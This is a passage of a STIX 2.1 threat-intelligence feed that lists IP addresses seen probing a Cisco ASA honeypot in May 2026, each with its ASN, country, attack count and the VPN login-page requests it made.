      "valid_from": "2026-05-09T03:20:10.000Z",
      "valid_until": "2026-06-10T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 154,
          "first_seen": "2026-05-09T03:11:23.332Z",
          "last_seen": "2026-05-30T00:25:10.639Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--21e84621-6d5a-4dd5-830a-ed3223b1e827",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:20:05.000Z",
      "valid_until": "2026-06-10T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-09T04:17:26.313Z",
          "last_seen": "2026-05-29T03:06:08.492Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--497bc8f7-c763-4d46-beab-43a6104e4805",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:20:10.000Z",
      "valid_until": "2026-06-10T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-09T04:58:44.819Z",
          "last_seen": "2026-05-31T04:53:45.450Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--0b331ca6-a53b-49cf-b710-b5dc56730870",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.209.198.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:20:10.000Z",
      "valid_until": "2026-06-10T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 60,
          "first_seen": "2026-05-09T04:35:14.949Z",
          "last_seen": "2026-05-30T13:25:21.052Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c25bfda8-560e-4dcf-8096-b69963038b36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:20:10.000Z",
      "valid_until": "2026-06-10T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T05:15:44.813Z",
          "last_seen": "2026-05-29T14:05:18.027Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bb146440-f71f-4498-9642-534afc966e7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:20:10.000Z",
      "valid_until": "2026-06-10T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T05:03:49.225Z",
          "last_seen": "2026-05-29T17:33:20.433Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--49a80080-1b59-4adc-b18c-2ccbc066e4e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.195.233.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:20:13.000Z",
      "valid_until": "2026-06-10T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-09T06:14:12.663Z",
          "last_seen": "2026-05-27T12:47:54.962Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--be51b98a-500b-4b3f-a9dc-2dfc64a0277f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:20:13.000Z",
      "valid_until": "2026-06-10T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-09T06:15:45.631Z",
          "last_seen": "2026-05-29T21:52:20.556Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--42d825af-206c-4311-89ed-362f80a5a197",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:20:13.000Z",
      "valid_until": "2026-06-10T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-09T05:49:12.915Z",
          "last_seen": "2026-05-31T04:36:34.887Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: DE; ASN 212512 (Detai Prosperous Technologies Limited)",
      "id": "indicator--4e0b32ef-f2aa-4aea-80ea-9d1c539f7ee1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.131.155.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:20:13.000Z",
      "valid_until": "2026-06-10T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-09T06:02:46.795Z",
          "last_seen": "2026-05-09T06:02:50.120Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212512,
          "as_org": "Detai Prosperous Technologies Limited",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 212512 (Detai Prosperous Technologies Limited)",
      "id": "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:20:13.000Z",
      "valid_until": "2026-06-10T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-09T06:02:30.914Z",
          "last_seen": "2026-05-09T06:02:40.301Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212512,
          "as_org": "Detai Prosperous Technologies Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: DE; ASN 212512 (Detai Prosperous Technologies Limited)",
      "id": "indicator--9958e8cf-111d-4a96-835f-3ffdf53d9424",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:20:13.000Z",
      "valid_until": "2026-06-10T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-09T06:02:42.728Z",
          "last_seen": "2026-05-09T06:02:46.510Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212512,
          "as_org": "Detai Prosperous Technologies Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1b229fa9-1df4-4dfc-b724-0f6732989632",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:20:10.000Z",
      "valid_until": "2026-06-10T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T06:23:19.600Z",
          "last_seen": "2026-05-25T20:55:03.637Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d4e80285-d1fb-4c73-a238-11fd6fbc9d62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:20:10.000Z",
      "valid_until": "2026-06-10T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 35,
          "first_seen": "2026-05-09T07:14:09.626Z",
          "last_seen": "2026-05-30T04:19:53.190Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T08:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: OPTIONS sip:172.105.186.117 SIP/2.0\" 400 - geo: HK; ASN 23470 (ReliableSite.Net LLC)",
      "id": "indicator--842ce2eb-fc25-47a1-97ec-9f52b424ae90",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.243.5.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:20:17.000Z",
      "valid_until": "2026-06-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-09T08:19:22.147Z",
          "last_seen": "2026-05-09T08:19:22.147Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 23470,
          "as_org": "ReliableSite.Net LLC",
          "event_types": [
            "\"OPTIONS sip:172.105.186.117 SIP/2.0\" 400 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T08:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--61bc15d3-af7a-4414-a244-1b6a71ee621e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:20:17.000Z",
      "valid_until": "2026-06-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-03T19:12:18.325Z",
          "last_seen": "2026-05-09T08:04:47.384Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T08:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d8c6826f-7dfc-4e08-8e6d-219c5d7133a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:20:17.000Z",
      "valid_until": "2026-06-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-09T07:24:03.611Z",
          "last_seen": "2026-05-29T18:18:36.424Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T08:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--1b4e4b91-9370-4990-be86-773f8f1d8ae2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:20:17.000Z",
      "valid_until": "2026-06-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-09T07:41:38.045Z",
          "last_seen": "2026-05-29T14:13:53.156Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--44de8fab-bef4-4aac-951e-54ee4cc08ac3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.209.199.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:20:10.000Z",
      "valid_until": "2026-06-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 54,
          "first_seen": "2026-05-09T09:02:11.854Z",
          "last_seen": "2026-05-31T02:05:14.048Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5a25428d-3a5c-4755-9beb-050580b67458",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:20:10.000Z",
      "valid_until": "2026-06-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-09T09:09:14.011Z",
          "last_seen": "2026-05-27T02:09:48.693Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--be0c24e5-c74b-46a1-8c35-91dde18582a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:20:10.000Z",
      "valid_until": "2026-06-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
